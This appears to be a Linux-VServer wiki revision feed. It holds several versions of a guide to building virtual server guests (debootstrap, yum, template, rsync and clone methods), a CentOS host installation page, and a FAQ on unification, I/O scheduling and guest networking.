* Build a Debian lenny guest using the ftp.de.debian.org mirror.<br />
vserver vserver1 build -m debootstrap --hostname vserver1.mydomain.com --interface eth0:192.168.1.10/24 -- -d lenny -m http://ftp.de.debian.org/debian<br />
lenny can be replaced by e.g. etch for Debian etch, edgy for Ubuntu edgy, or sid for Debian sid. Anything your debootstrap version can handle will be fine.<br />
<br />
If you want to build a 32-bit guest on a 64-bit host, append <code>-- --arch i386</code> to the above command line.<br />
<br />
=== Building guests using the yum build method ===<br />
<br />
* Make sure that your host system already has yum installed, preferably one that has been patched to work better with chroots.<br />
<br />
* Build a CentOS 5-based guest using a minimal set of packages.<br />
vserver vserver2 build -m yum --hostname vserver2.mydomain.com --interface eth0:192.168.1.11/24 -- -d centos5<br />
centos5 can be replaced by e.g. f8 for Fedora 8, or fc6 for Fedora 6.<br />
<br />
If you want to build a 32-bit guest on a 64-bit, prepend <code>linux32</code> to this and subsequent yum commands.<br />
<br />
* If you want to manage the packages inside the guest, you will have to install some package management program(s) as well as internalize the RPM database. This can be achieved by<br />
vyum vserver2 -- install yum<br />
vserver vserver2 pkgmgmt internalize<br />
Internal package management means that commands such as rpm, yum and rpmbuild can be used from inside the guest, as opposed to requiring the host administrator to run vrpm or vyum. If you use rpmbuild, you'll need internal package management, or use --nodeps (but that's ''strongly'' discouraged).<br />
<br />
* Depending on your host's/guest's distribution, you may also need to do<br />
vserver vserver2 exec bash -c "rm -f /var/lib/rpm/__db*; rpm --rebuilddb"<br />
This is required if every rpm operation, for example ''rpm -qa'', complains about a database version mismatch.<br />
<br />
=== Building guests using the template build method ===<br />
<br />
A template is a file containing a complete guest filesystem. This can be a tar(1)ball, a cpio(1)-archive, or a dump(8). It can be compressed using either gzip or bzip2. Multiple templates can be used, to do e.g. guest-specific modifications.<br />
<br />
* Build a guest using a single template named stage4-i686-20070905.tar.bz2 located in /vservers/.templates.<br />
vserver vserver3 build -m template --hostname vserver3.mydomain.com --interface eth0:192.168.1.12/24 -- -d gentoo -t /vservers/.templates/stage4-i686-20070905.tar.bz2<br />
<br />
'''OR'''<br />
<br />
* Build a guest using multiple templates, one named stage4-i686-20070905.tar.bz2 and one named httpd.tar.bz2.<br />
vserver vserver3 build -m template --hostname vserver3.mydomain.com --interface eth0:192.168.1.12/24 -- -d gentoo -t /vservers/.templates/stage4-i686-20070905.tar.bz2 -t /vservers/.templates/httpd.tar.bz2<br />
<br />
=== Building guests using the rsync build method ===<br />
<br />
The rsync build method can be used to move a guest from one system to another. It is preferable for most guest distributions if the source guest is stopped when you create a one based on it, but it's not strictly required.<br />
<br />
* Build a guest by rsync'ing from vserver3 on host1.<br />
RSYNC_RSH=ssh vserver vserver4 build -m rsync --hostname vserver4.mydomain.com --interface eth0:192.168.1.13/24 -- --source root@host1:/vservers/vserver3<br />
<br />
'''OR'''<br />
<br />
* Build a guest by rsync'ing from vserver1 on the same host.<br />
vserver vserver4 build -m rsync --hostname vserver4.mydomain.com --interface eth0:192.168.1.13/24 -- --source vserver1<br />
<br />
=== Building guests using the clone build method ===<br />
<br />
The clone build method copies the filesystem from one guest to another, much like the rsync build method, but the thing that separates it is that it knows about unified/hashified files. This means that it only creates new links for such files, and copies the rest, which can lead to significantly speedier builds.<br />
<br />
* Build a guest by using vserver4 as a reference.<br />
vserver vserver5 build -m clone --hostname vserver5.mydomain.com --interface eth0:192.168.1.14/24 -- --source /vservers/vserver4<br />
<br />
== Post-build customization ==<br />
<br />
== Verifying guest functionality ==<br />
<br />
* Once the guest is built, it's time to start it.<br />
vserver vserverX start<br />
<br />
* At this point, you can use both<br />
vserver vserverX enter<br />
and<br />
vserver vserverX exec ...<br />
to do things inside the guest.<br />
<br />
* To stop it, simply use<br />
vserver vserverX stop</div>Daniel hozachttp://svn.linux-vserver.org/Building_Guest_SystemsBuilding Guest Systems2008-05-07T00:47:37Z<p>Daniel hozac: start/enter/exec/stop</p>
<hr />
<div>== Building a guest ==<br />
<br />
There are three parts to the <code>vserver ... build</code> command. Each part is separate by <code>--</code>. The first part are generic vserver options, such as hostname, available IP-addresses, and context id. The second part is specific to the chosen build method (chosen using <code>-m <method></code> in the first part). The third part is completely optional and only implemented for a few build methods. These are options passed directly to whatever application is used to build guest.<br />
<br />
There are a lot of options not covered here (yet). Use <code>vserver - build --help</code> to see them all.<br />
<br />
=== Building guests using the debootstrap build method ===<br />
<br />
* Build a Debian lenny guest.<br />
vserver vserver1 build -m debootstrap --hostname vserver1.mydomain.com --interface eth0:192.168.1.10/24 -- -d lenny<br />
lenny can be replaced by e.g. etch for Debian etch, edgy for Ubuntu edgy, or sid for Debian sid. Anything your debootstrap version can handle will be fine.<br />
<br />
=== Building guests using the yum build method ===<br />
<br />
* Make sure that your host system already has yum installed, preferably one that has been patched to work better with chroots.<br />
<br />
* Build a CentOS 5-based guest using a minimal set of packages.<br />
vserver vserver2 build -m yum --hostname vserver2.mydomain.com --interface eth0:192.168.1.11/24 -- -d centos5<br />
centos5 can be replaced by e.g. f8 for Fedora 8, or fc6 for Fedora 6.<br />
<br />
* If you want to manage the packages inside the guest, you will have to install some package management program(s) as well as internalize the RPM database. This can be achieved by<br />
vyum vserver2 -- install yum<br />
vserver vserver2 pkgmgmt internalize<br />
Internal package management means that commands such as rpm, yum and rpmbuild can be used from inside the guest, as opposed to requiring the host administrator to run vrpm or vyum. If you use rpmbuild, you'll need internal package management, or use --nodeps (but that's ''strongly'' discouraged).<br />
<br />
* Depending on your host's/guest's distribution, you may also need to do<br />
vserver vserver2 exec bash -c "rm -f /var/lib/rpm/__db*; rpm --rebuilddb"<br />
This is required if every rpm operation, for example ''rpm -qa'', complains about a database version mismatch.<br />
<br />
=== Building guests using the template build method ===<br />
<br />
A template is a file containing a complete guest filesystem. This can be a tar(1)ball, a cpio(1)-archive, or a dump(8). It can be compressed using either gzip or bzip2. Multiple templates can be used, to do e.g. guest-specific modifications.<br />
<br />
* Build a guest using a single template named stage4-i686-20070905.tar.bz2 located in /vservers/.templates.<br />
vserver vserver3 build -m template --hostname vserver3.mydomain.com --interface eth0:192.168.1.12/24 -- -d gentoo -t /vservers/.templates/stage4-i686-20070905.tar.bz2<br />
<br />
'''OR'''<br />
<br />
* Build a guest using multiple templates, one named stage4-i686-20070905.tar.bz2 and one named httpd.tar.bz2.<br />
vserver vserver3 build -m template --hostname vserver3.mydomain.com --interface eth0:192.168.1.12/24 -- -d gentoo -t /vservers/.templates/stage4-i686-20070905.tar.bz2 -t /vservers/.templates/httpd.tar.bz2<br />
<br />
=== Building guests using the rsync build method ===<br />
<br />
The rsync build method can be used to move a guest from one system to another. It is preferable for most guest distributions if the source guest is stopped when you create a one based on it, but it's not strictly required.<br />
<br />
* Build a guest by rsync'ing from vserver3 on host1.<br />
RSYNC_RSH=ssh vserver vserver4 build -m rsync --hostname vserver4.mydomain.com --interface eth0:192.168.1.13/24 -- --source root@host1:/vservers/vserver3<br />
<br />
'''OR'''<br />
<br />
* Build a guest by rsync'ing from vserver1 on the same host.<br />
vserver vserver4 build -m rsync --hostname vserver4.mydomain.com --interface eth0:192.168.1.13/24 -- --source vserver1<br />
<br />
=== Building guests using the clone build method ===<br />
<br />
The clone build method copies the filesystem from one guest to another, much like the rsync build method, but the thing that separates it is that it knows about unified/hashified files. This means that it only creates new links for such files, and copies the rest, which can lead to significantly speedier builds.<br />
<br />
* Build a guest by using vserver4 as a reference.<br />
vserver vserver5 build -m clone --hostname vserver5.mydomain.com --interface eth0:192.168.1.14/24 -- --source /vservers/vserver4<br />
<br />
== Post-build customization ==<br />
<br />
== Verifying guest functionality ==<br />
<br />
* Once the guest is built, it's time to start it.<br />
vserver vserverX start<br />
<br />
* At this point, you can use both<br />
vserver vserverX enter<br />
and<br />
vserver vserverX exec ...<br />
to do things inside the guest.<br />
<br />
* To stop it, simply use<br />
vserver vserverX stop</div>Daniel hozachttp://svn.linux-vserver.org/Installation_on_CentOSInstallation on CentOS2008-05-07T00:39:32Z<p>Daniel hozac: link to building guest systems</p>
<hr />
<div>== Install CentOS 5 ==<br />
<br />
My CentOS 5 installation is a DVD install with only the "Desktop - GNOME" group selected.<br />
<br />
On restart, a number of questions (timezone/security level/etc) are asked. At this stage set the "SELinux" option to disabled. If you skip this step, then simply modify the /etc/sysconfig/selinux file and disable selinux from there. You will need to reboot before this takes effect, but it's okay to wait until you have installed the kernel before doing this (just to save some time :)).<br />
<br />
== Add the repository ==<br />
<br />
In order to install the necessary packages, you will have to add the repository containing them to your yum configuration. Paste the following in /etc/yum.repos.d/dhozac-vserver.repo<br />
[dhozac-vserver]<br />
name=Linux-VServer related packages for CentOS $releasever - $basearch<br />
baseurl=http://rpm.hozac.com/dhozac/centos/$releasever/vserver/$basearch<br />
gpgkey=http://rpm.hozac.com/conf/keys/RPM-DHOZAC-GPG-KEY<br />
<br />
== Update yum ==<br />
<br />
Before you do anything else, update yum. If you don't, you'll have to sit through lots of "you're using a knackered version of yum. Wait 5 seconds" messages.<br />
yum update yum<br />
Which should pick the version from the dhozac repository.<br />
<br />
== Install the kernel ==<br />
<br />
To install the kernel, run<br />
yum install kernel<br />
<br />
Double check the grub file to make sure it is the bootable kernel (/boot/grub/grub.conf). If all is okay we are ready to restart the server.<br />
<br />
At this stage (before the reboot) I also modify the host's sshd_config file, so it doesn't listen to every interface on the server, which would block any guest's attempt to run sshd.<br />
<br />
vi /etc/ssh/sshd_config<br />
<br />
and add the line "ListenAddress <host IP address>".<br />
<br />
== Install util-vserver ==<br />
<br />
To install util-vserver, run<br />
yum install util-vserver{,-core,-lib,-sysv,-build}<br />
<br />
== Post installation steps ==<br />
<br />
Make certain /proc entries visible<br />
<br />
/etc/init.d/vprocunhide start<br />
<br />
== All done! ==<br />
Once your host is setup, you can start [[Building Guest Systems|building guest systems]].</div>Daniel hozachttp://svn.linux-vserver.org/Building_Guest_SystemsBuilding Guest Systems2008-05-07T00:34:22Z<p>Daniel hozac: remove non-general setup advice, add yum, rsync, clone and template build methods</p>
<hr />
<div>== Building a guest ==<br />
<br />
There are three parts to the <code>vserver ... build</code> command. Each part is separate by <code>--</code>. The first part are generic vserver options, such as hostname, available IP-addresses, and context id. The second part is specific to the chosen build method (chosen using <code>-m <method></code> in the first part). The third part is completely optional and only implemented for a few build methods. These are options passed directly to whatever application is used to build guest.<br />
<br />
There are a lot of options not covered here (yet). Use <code>vserver - build --help</code> to see them all.<br />
<br />
=== Building guests using the debootstrap build method ===<br />
<br />
* Build a Debian lenny guest.<br />
vserver vserver1 build -m debootstrap --hostname vserver1.mydomain.com --interface eth0:192.168.1.10/24 -- -d lenny<br />
lenny can be replaced by e.g. etch for Debian etch, edgy for Ubuntu edgy, or sid for Debian sid. Anything your debootstrap version can handle will be fine.<br />
<br />
* Start the guest<br />
vserver vserver1 start<br />
<br />
=== Building guests using the yum build method ===<br />
<br />
* Make sure that your host system already has yum installed, preferably one that has been patched to work better with chroots.<br />
<br />
* Build a CentOS 5-based guest using a minimal set of packages.<br />
vserver vserver2 build -m yum --hostname vserver2.mydomain.com --interface eth0:192.168.1.11/24 -- -d centos5<br />
centos5 can be replaced by e.g. f8 for Fedora 8, or fc6 for Fedora 6.<br />
<br />
* If you want to manage the packages inside the guest, you will have to install some package management program(s) as well as internalize the RPM database. This can be achieved by<br />
vyum vserver2 -- install yum<br />
vserver vserver2 pkgmgmt internalize<br />
Internal package management means that commands such as rpm, yum and rpmbuild can be used from inside the guest, as opposed to requiring the host administrator to run vrpm or vyum. If you use rpmbuild, you'll need internal package management, or use --nodeps (but that's ''strongly'' discouraged).<br />
<br />
* Depending on your host's/guest's distribution, you may also need to do<br />
vserver vserver2 exec bash -c "rm -f /var/lib/rpm/__db*; rpm --rebuilddb"<br />
This is required if every rpm operation, for example ''rpm -qa'', complains about a database version mismatch.<br />
<br />
* Start the guest<br />
vserver vserver2 start<br />
<br />
=== Building guests using the template build method ===<br />
<br />
A template is a file containing a complete guest filesystem. This can be a tar(1)ball, a cpio(1)-archive, or a dump(8). It can be compressed using either gzip or bzip2. Multiple templates can be used, to do e.g. guest-specific modifications.<br />
<br />
* Build a guest using a single template named stage4-i686-20070905.tar.bz2 located in /vservers/.templates.<br />
vserver vserver3 build -m template --hostname vserver3.mydomain.com --interface eth0:192.168.1.12/24 -- -d gentoo -t /vservers/.templates/stage4-i686-20070905.tar.bz2<br />
<br />
'''OR'''<br />
<br />
* Build a guest using multiple templates, one named stage4-i686-20070905.tar.bz2 and one named httpd.tar.bz2.<br />
vserver vserver3 build -m template --hostname vserver3.mydomain.com --interface eth0:192.168.1.12/24 -- -d gentoo -t /vservers/.templates/stage4-i686-20070905.tar.bz2 -t /vservers/.templates/httpd.tar.bz2<br />
<br />
=== Building guests using the rsync build method ===<br />
<br />
The rsync build method can be used to move a guest from one system to another. It is preferable for most guest distributions if the source guest is stopped when you create a one based on it, but it's not strictly required.<br />
<br />
* Build a guest by rsync'ing from vserver3 on host1.<br />
RSYNC_RSH=ssh vserver vserver4 build -m rsync --hostname vserver4.mydomain.com --interface eth0:192.168.1.13/24 -- --source root@host1:/vservers/vserver3<br />
<br />
'''OR'''<br />
<br />
* Build a guest by rsync'ing from vserver1 on the same host.<br />
vserver vserver4 build -m rsync --hostname vserver4.mydomain.com --interface eth0:192.168.1.13/24 -- --source vserver1<br />
<br />
=== Building guests using the clone build method ===<br />
<br />
The clone build method copies the filesystem from one guest to another, much like the rsync build method, but the thing that separates it is that it knows about unified/hashified files. This means that it only creates new links for such files, and copies the rest, which can lead to significantly speedier builds.<br />
<br />
* Build a guest by using vserver4 as a reference.<br />
vserver vserver5 build -m clone --hostname vserver5.mydomain.com --interface eth0:192.168.1.14/24 -- --source /vservers/vserver4<br />
<br />
== Post-build customization ==</div>Daniel hozachttp://svn.linux-vserver.org/Frequently_Asked_QuestionsFrequently Asked Questions2008-05-07T00:03:02Z<p>Daniel hozac: Reverted edits by 89.149.242.226 (Talk); changed back to last version by Groteblup</p>
<hr />
<div><div style="margin: 2em auto 2em auto; padding: 10px; background-color: #F9ECCD; border: 1px solid #004433; text-align: center;"><br />
[[Image:Icon-Caution.png|left]]<br />
We currently migrate to MediaWiki from our old installation, but not all content has been migrated yet. Take a look at the [[Wiki Team]] page for instructions how to help or look at the [http://oldwiki.linux-vserver.org old wiki] to find the information not migrated yet.<br />
<br />
'''To ease migration we created a [[List of old Documentation pages]].'''<br />
</div><br />
<br />
CURRENTLY THE CONTENT OF THE OLD WIKI FAQ (AND MORE) IS BEING MIGRATED TO THIS PAGE (TASK: DERJOHN)<br />
<br />
<br />
__TOC__<br />
<br />
{{Question|Question=What is a 'Guest'?||Details=To talk about stuff, we need some naming. The physical machine is called 'Host' and the 'main' context running the Host Distro is called 'Host Context'. The virtual machine/distro is called 'Guest' and basically is a Distribution (Userspace) running inside a 'Guest Context'.|Signature=derjohn}}<br />
<br />
<br />
{{Question|Question=What kind of Operating System (OS) can I run as guest?||Details=<br />
A: With VServer you can only run Linux guests. The trick is that a guest does not run a kernel on its own (as XEN and UML do), it merely uses a virtualized host kernel-interface. VServer offers so called security contexts which make it possible to seperate one guest from each other, i.e. they cannot get data from each other. Imagine it as a chroot environment with much more security and features.|Signature=derjohn}}<br />
<br />
{{Question|Question=Which distributions did you test?||Details=<br />
A: Some. Check out the wiki for ready-made guest images. But you can easily build own guest images, e.g. with Debian's debootstrap. Checkout ((Building Guest Systems)) how to do that.|Signature=derjohn}}<br />
<br />
{{Question|Question=Is VServer comparable to XEN/UML/QEMU?||Details=<br />
A: Nope. XEN/UML/QEMU and VServer are just good friends. Because you ask, you probably know what XEN/UML/QEMU are. VServer in contrary to XEN/UML/QEMU not "emulate" any hardware you run a kernel on. You can run a VServer kernel in a XEN/UML/QEMU guest. This is confirmed to work at least with Linux 2.6/vs2.0.|Signature=derjohn}}<br />
<br />
{{Question|Question=Is VServer secure?||Details=<br />
A: We hope so. It should be as least as secure as Linux is. We consider it much much more secure though.|Signature=derjohn}}<br />
<br />
{{Question|Question=Performance?||Details=<br />
A: For a single guest, we basically have native performance. Some tests showed insignificant overhead (about 1-2%) others ran faster than on an unpatched kernel. This is IMVHO significantly less than other solutions waste, especially if you have more than a single guest (because of the resource sharing).|Signature=derjohn}}<br />
<br />
{{Question|Question=Is SMP Supported?||Details=<br />
A: Yes, on all SMP capable kernel architectures.|Signature=derjohn}}<br />
<br />
{{Question|Question=Resource sharing?||Details=<br />
A: Yes ....<br />
* memory: Dynamically.<br />
* CPU usage: Dynamically (token bucket)|Signature=derjohn}}<br />
<br />
{{Question|Question=Resource limiting?||Details=<br />
A: Yes, you can set maximum limits per guest, but you can only offer guaranteed resource availability with some ticks at the time. There is the possibility to ulimit and to rlimit. Rlimit is a new feature of kernel 2.6/vs2.0.|Signature=derjohn}}<br />
<br />
{{Question|Question=Disk I/O limiting? Is that possible?||Details=<br />
A: Well, since vs2.1.1 Linux-VServer supports a mechanism called 'I/O scheduling', which appeared in the 2.6 mainline some time ago. The mainline kernel offers several I/O schedulers:<br />
<br />
<pre><br />
# cat /sys/block/hdc/queue/scheduler<br />
noop [anticipatory] deadline cfq<br />
</pre><br />
<br />
The default is anticipatory a.k.a. "AS". When running several guests on a host you probably want the I/O performance shared in a fair way among the different guests. The kernel comes with a "completely fair queueing" scheduler, CFQ, which can do that. (More on schedulers can be found at http://lwn.net/Articles/114770/)<br />
<br />
This is how to set the scheduler to "cfq" manually:<br />
<pre><br />
root# echo "cfq" > /sys/block/hdc/queue/scheduler<br />
root# cat /sys/block/hdc/queue/scheduler<br />
noop anticipatory deadline [cfq]<br />
</pre><br />
<br />
Keep in mind that you have to do it on all physical discs. So if you run an md-softraid, do it to all physical /dev/hdXYZ discs!<br />
<br />
If you run Debian there is a predefined way to set the /sys values at boot-time:<br />
<br />
<pre><br />
# apt-get install sysfsutils<br />
[...]<br />
<br />
# grep cfq /etc/sysfs.conf<br />
block/sda/queue/scheduler = cfq<br />
block/sdc/queue/scheduler = cfq<br />
<br />
# /etc/init.d/sysfsutils restart<br />
</pre><br />
<br />
For non-vserver processes and CFQ you can set by which key the kernel decides about the fairness:<br />
<br />
<pre><br />
cat /sys/block/hdc/queue/iosched/key_type<br />
pgid [tgid] uid gid<br />
</pre><br />
Hint: The 'key_type'-feature has been removed in the mainline kernel recently. Don't look for it any longer :(<br />
<br />
The default is tgid, which means to share fairly among process groups. Think every guest is treated like a own process group. It's not possible to set a scheduler strategy within a guest. All processes belonging to the same guest are treated like "noop" within the guest. So: If you run apache and some ftp-server within the _same_ guest, there is no fair scheduling between them, but there is fair scheduling between the whole guest and all other guests.<br />
<br />
And: It's possible to tune the scheduler parameters in several ways. Have a look at /sys/block/hdc/queue/....|Signature=derjohn}}<br />
<br />
{{Question|Question=Nice disk I/O scheduling, is that possible?||Details=<br />
A: Well, since linux 2.6.13 processess have another priority next to the cpu nice scheduling hint, it's called io nice.<br />
It's split into three groups, called real-time, best effort and idle. The default is best-effort, but within best-effort, you can have a niceness from 0 to and including 7.<br />
You can set this niceness by the tool ionice, which for debian is either in the package util-linux or schedutils.<br />
To change the io-niceness you need the CAP_SYS_NICE, *and* need to have the same uid as the processe you want to ionice.<br />
If you want to increase the niceness of an I/O hogging process within a vserver you need to do:<br />
<PRE><br />
chcontext --xid sponlp1 sudo -u '#2089' ionice -c2 -n5 -p24409<br />
</PRE><br />
with sudo and ionice installed on the root server to increase the *nice*ness of pid 24409, with uid 2089|Signature=Groteblup}}<br />
<br />
{{Question|Question=Why isn't there a device /dev/xyz within a guest?||Details=<br />
A: Device nodes allow userspace to access hardware (or virtual resources). Creating a device node inside the guest's namespace will give access to that device, so for security reasons, the number of 'given' devices is small.|Signature=derjohn}}<br />
<br />
{{Question|Question=What is unification (vunify)?||Details=<br />
A: Unification is Hard Links on Steroids. Guests can 'share' common files (usually binaries and libraries) in a secure way, by creating hard links with special properties (immutable but unlinkable (removable)). The tool to identify common files and to unify them is called vunify.|Signature=derjohn}}<br />
<br />
{{Question|Question=What is vhashify?||Details=<br />
A: The successor of vunify, a tool which does unification based on hash values (which allows to find common files in arbitrary paths.)<br />
<br />
It creates hardlinks to files named after a hash of the content of the file. If you have a recent version of the vserver patch (2.2+), with CONFIG_VSERVER_COWBL enabled, you can even modify the hardlinked files inside the vservers and the links will be broken automatically.<br />
<br />
There seems to be a catch when a hashified file has multiple hardlinks inside a guest, or when another internal hardlink is added after hashification. Link breaking will remove all the internal hardlinks too, so the guest will end up with different copies of the original file. The correct solution would be to not hashify files that have multiple links prior to hashification, and to break the link to the hashified version when a new internal hardlink is created. Apparently, this is not implemented yet (?).<br />
<br />
|Signature=Guy-}}<br />
<br />
{{Question|Question=How do I manage a multi-guest setup with vhashify?||Details=<br />
A: For 'vhashify', just do these once:<br />
<br />
<pre><br />
mkdir /etc/vservers/.defaults/apps/vunify/hash /vservers/.hash<br />
ln -s /vservers/.hash /etc/vservers/.defaults/apps/vunify/hash/root<br />
</pre><br />
<br />
Then, do this one line per vserver:<br />
<br />
<pre><br />
mkdir /etc/vservers/<vservername>/apps/vunify # vhashify reuses vunify configuration<br />
</pre><br />
<br />
To hashify a running vserver, do (possibly from a cronjob):<br />
<br />
<pre><br />
vserver name-of-guest hashify<br />
</pre><br />
<br />
The guest needs to be running because vhashify tries to figure out what files not to hashify by calling the package manager of the guest via <tt>vserver enter</tt>.<br />
<br />
In order for the OS cache to benefit from the hardlinking, you'll have to restart the vservers.<br />
<br />
To clean up hashified files that are no longer referenced by any vserver, do (possibly from a cronjob):<br />
<br />
<pre><br />
find /vservers/.hash -type f -links 1 -print0 | xargs -0 rm<br />
</pre><br />
<br />
Until you do this, the files still take up place even though no vservers need them.<br />
<br />
|Signature=Guy-}}<br />
<br />
{{Question|Question=With which version should I begin?||Details=<br />
A: If you are new to VServer I recommend to try the latest stable kernel patch, and the latest util-vserver "alpha" release.|Signature=derjohn}}<br />
<br />
{{Question|Question=Is there a way to implement "user/group quota" per VServer?||Details=<br />
A: Yes, but not on a shared partition for now. You need to put the guest on a separate partition, setup a vroot device (to make the quota access secure), copy that into the guest, and adjust the mtab line inside the guest.|Signature=derjohn}}<br />
<br />
{{Question|Question=What about "Quota" for a context?||Details=<br />
A: Context quotas are now called Disk Limits (so that we can tell them apart from the user/group quotas :). They are supported out of the box (with vs2.0+) for all major filesystems (ext2/3, ReiserFS, JFS)|Signature=derjohn}}<br />
<br />
{{Question|Question=Does it support IPv6?||Details=<br />
A: Currently it requires an additional patch, but the functionality should be available in 2.3+ soon. [[IPv6]] has more information.|Signature=derjohn}}<br />
<br />
{{Question|Question=I can't do all I want with the network interfaces inside the guest?||Details=<br />
A: For now the networking is 'Host Business' -- the host is a router, and each guest is a server. You can set the capability ICMP_RAW in the context of the guest, or even the capability CAP_NET_RAW (which would even allow to sniff interfaces of other guests!). Likely to change with ngnet. |Signature=derjohn}}<br />
<br />
{{Question|Question=Is there a web-based interface for vserver that will allow creation/deletion/configuration etc. of vserver guests?||Details=<br />
A. http://OpenVPS.org which is a set of scripts with a web-interface for webhosters/ISPs. http://Openvcp.org which is a distributed system (agent!) with a web-interface, with which you can build/remove guests. http://vsmon.revolutionlinux.com/ is a distributed monitoring-only solution that allows you to search for a particular vserver in your park. |Signature=derjohn}}<br />
<br />
{{Question|Question=What is old-style and new-style config?||Details=<br />
A. Old-style config refers to a single text-file that contains all the configuration settings. With new-style config the configuration is split into several directories and files. You should probably go for new-style config if you are asking.|Signature=derjohn}}<br />
<br />
{{Question|Question=What is the "great flower page"?||Details=<br />
A. Well, [http://www.nongnu.org/util-vserver/doc/conf/configuration.html this page] contains all configuration options for util-vserver. The name of the page is derived from the stylesheet(s) it contains.|Signature=derjohn}}<br />
<br />
{{Question|Question=How do I add several IPs to a vserver? ||Details=<br />
A: First of all a single guest vserver only supports up to 16 IPs (There is a 64-IP patch available, which is in "derjohn's kernel").<br />
Here is a little helper-script that adds a list of IPs defined in a text file, one per line.<br />
<pre><br />
#!/bin/bash<br />
j=1<br />
for i in `cat myiplist`; do<br />
j=$(($j+1))<br />
mkdir $j<br />
echo $i > $j/ip<br />
echo "24" > $j/prefix<br />
done<br />
</pre>|Signature=derjohn}}<br />
<br />
{{Question|Question=If my host has only one a single public IP, can I use RFC1918 IP (e.g. 192.168.foo.bar) for the guest vservers?||Details=<br />
A: Yes, use iptables with SNAT to masquerade it. <br />
<pre><br />
iptables -t nat -I POSTROUTING -s $VSERVER_NETZ ! -d $VSERVER_NETZ -j SNAT --to $EXT_IP<br />
</pre><br />
See: [[HowtoPrivateNetworking]] and <br />
http://www.tgunkel.de/it/software/doc/linux_server.en#h3-VServer_Masquerading_SNAT (THX, [MUPPETS]Gonzo)|Signature=derjohn}}<br />
<br />
{{Question|Question=If I shut down my vserver guest, the whole Internet interface ethX on the host is shut down. What happened? ||Details=<br />
A: When you shut down a guest (''i.e. vserver foo stop''), the IP is brought down on the host also. If this IP happens to be the primary IP of the host, the kernel will not only bring down the primary IP, but also all secondary IP addresses. But in very recent kernels, there is an option ''settable'' which prevents that nasty feature. It's called "alias promotion". You may set it via sysctl by adding ''net.ipv4.conf.all.promote_secondaries=1'' in /etc/sysctl.conf or via sysctl command line.|Signature=derjohn}}<br />
<br />
<br />
{{Question|Question=I run a Debian host and want to build an Ubuntu guest. Howto?||Details=<br />
A: Simple ;) Assume you want to build a breezy guest on a sid host with IP 192.168.0.2 and hostname vubuntu, then do:<br />
<pre><br />
vserver vubuntu build --force -m debootstrap --hostname vubuntu.myvservers.net --netdev eth0 --interface 192.168.0.2/24 \<br />
--context 42 -- -d breezy -m http://de.archive.ubuntu.com/ubuntu<br />
</pre><br />
<br />
[UPDATE] Currently there are problems in building breezy under unclear circumstances, which seems to have to do with udev. If the above didnt work, try:<br />
<pre><br />
vserver vubuntu build --force -m debootstrap --hostname vubuntu.myvservers.net --netdev eth0 --interface 192.168.0.2/24 \<br />
--context 42 -- -d breezy -m http://de.archive.ubuntu.com/ubuntu -- --exclude=udev<br />
</pre><br />
In very recent versions of the utils, the problem should not occur anymore (it has to do with the 'secure-mount' if you look in the MLs)<br />
<br />
Well, sid's debootstrap knows how to bootstrap Ubuntu linux. Make sure to have a current debootstrap package: <br />
<pre><br />
apt-get update<br />
apt-get install debootstrap<br />
</pre><br />
The knowledge how to build ubuntu 'breezy badger' (which you probably want to be your guest at the time of writing) has been added recently.|Signature=derjohn}}<br />
<br />
<br />
{{Question|Question=I want to build a Gentoo guest. Howto?||Details=<br />
A: Even simpler ;) See http://www.gentoo.org/proj/en/vps/vserver-howto.xml#doc_chap3 .|Signature=gcc}}<br />
<br />
{{Question|Question=How do I make a vserver guest start by default?||Details=<br />
A: At least on Debian, I can tell you how to do it with the new-style config. If your guest is called "derjohn" and you want it to be started somewhere at the of your bootstrap process, then do:<br />
<pre><br />
echo "default" > /etc/vservers/derjohn/apps/init/mark<br />
</pre><br />
If you want to start it earlier, please read the init script "/etc/init.d/util-vserver" to find out how to do it. In most cases you don't need to change this. On Debian the vservers are started at "20", so after most other stuff is up (networking etc.).<br />
<br />
Besides that I created a small helper script for managing the autostart foo: ((vserver-autostart))|Signature=derjohn}}<br />
<br />
{{Question|Question=My host works, but when I start a guest it says that it has a problem with chbind.||Details=<br />
A: You are probably using util-vserver <= 0.30.209, which does use dynamic network contexts internally (With 0.30.210 this fact changed). So if you compiled your kernel without dynamic contexts, you may start guests, but you can't use the network context.The solution is either to switch to .210 util (or Hollow's toolset) or compile the kernel with dynamic network contexts.<br />
SE Keyword: invalid option `nid' testme.sh|Signature=derjohn}}<br />
<br />
<br />
{{Question|Question=When I try to ssh to the guest, I log into the host, even if I installed sshd on the guest. What's wrong here?||Details=<br />
A: Look at /etc/ssh/sshd_config of the host:<br />
<br />
<pre><br />
Port 22<br />
# Use these options to restrict which interfaces/protocols sshd will bind to<br />
#ListenAddress ::<br />
</pre><br />
<br />
And now change the setting to <br />
<pre><br />
Port 22<br />
# Use these options to restrict which interfaces/protocols sshd will bind to<br />
ListenAddress your.hosts.ip.here # not the guests IP! <br />
</pre><br />
<br />
Then '/etc/init.d/ssh restart' on the host, after that on the guest (if you did apt-get install ssh on the guest already.)<br />
<br />
Do I have to explain more? If the hosts sshd binds all available IP addresses on port 22 (The hosts 'sees' even all addresses of the guests!). So if the guest starts its sshd, it can't bind to port 22 any more. You need to change that setting only on the host. <br />
(BTW: A similar approach has to be done for a lot of daemons, e.g. Apache. If the daemon does not support an explicit bind, you may use the chbind command to 'hide' IP addresses from the daemon before starting.)|Signature=derjohn}}<br />
<br />
{{Question|Question=I did everything right, but the application foo does not start. What's up there?||Details=<br />
A: Before asking on the IRC channel, please check out the 'problematic programs' page:<br />
[[Problematic Programs]]|Signature=derjohn}}<br />
<br />
{{Question|Question=Bind9 does not like to start in my guest.||Details=<br />
A: Check out the [[Problematic Programs]] page and/or get my [http://linux-vserver.derjohn.de/bind9-packages/bind9-capacheck_9.3.2-2_i386.deb vserver-guest-ready Debian package] for Debian Sid guests and check out the [http://linux-vserver.derjohn.de/bind9-packages/README.txt readme]. (Hint: This is fresh stuff. Please give me feedback)<br />
<br />
[UPDATE] Since VServer Devel 2.1.1-rc18 you do not need to patch the userland tools anymore. The capabilities are masked.|Signature=derjohn}}<br />
<br />
{{Question|Question=Which guest vservers are running?||Details=<br />
A: Use vserver-stat to find out. Example output:<br />
<pre><br />
CTX PROC VSZ RSS userTIME sysTIME UPTIME NAME<br />
0 77 965.1M 334.6M 14m14s18 2m28s69 1h33m46 root server<br />
49152 7 14M 5.2M 0m00s40 0m00s30 1h30m15 chiffon<br />
</pre>|Signature=derjohn}}<br />
<br />
<br />
<br />
{{Question|Question=How can I reboot/halt guests?||Details=<br />
A: It depends. <br />
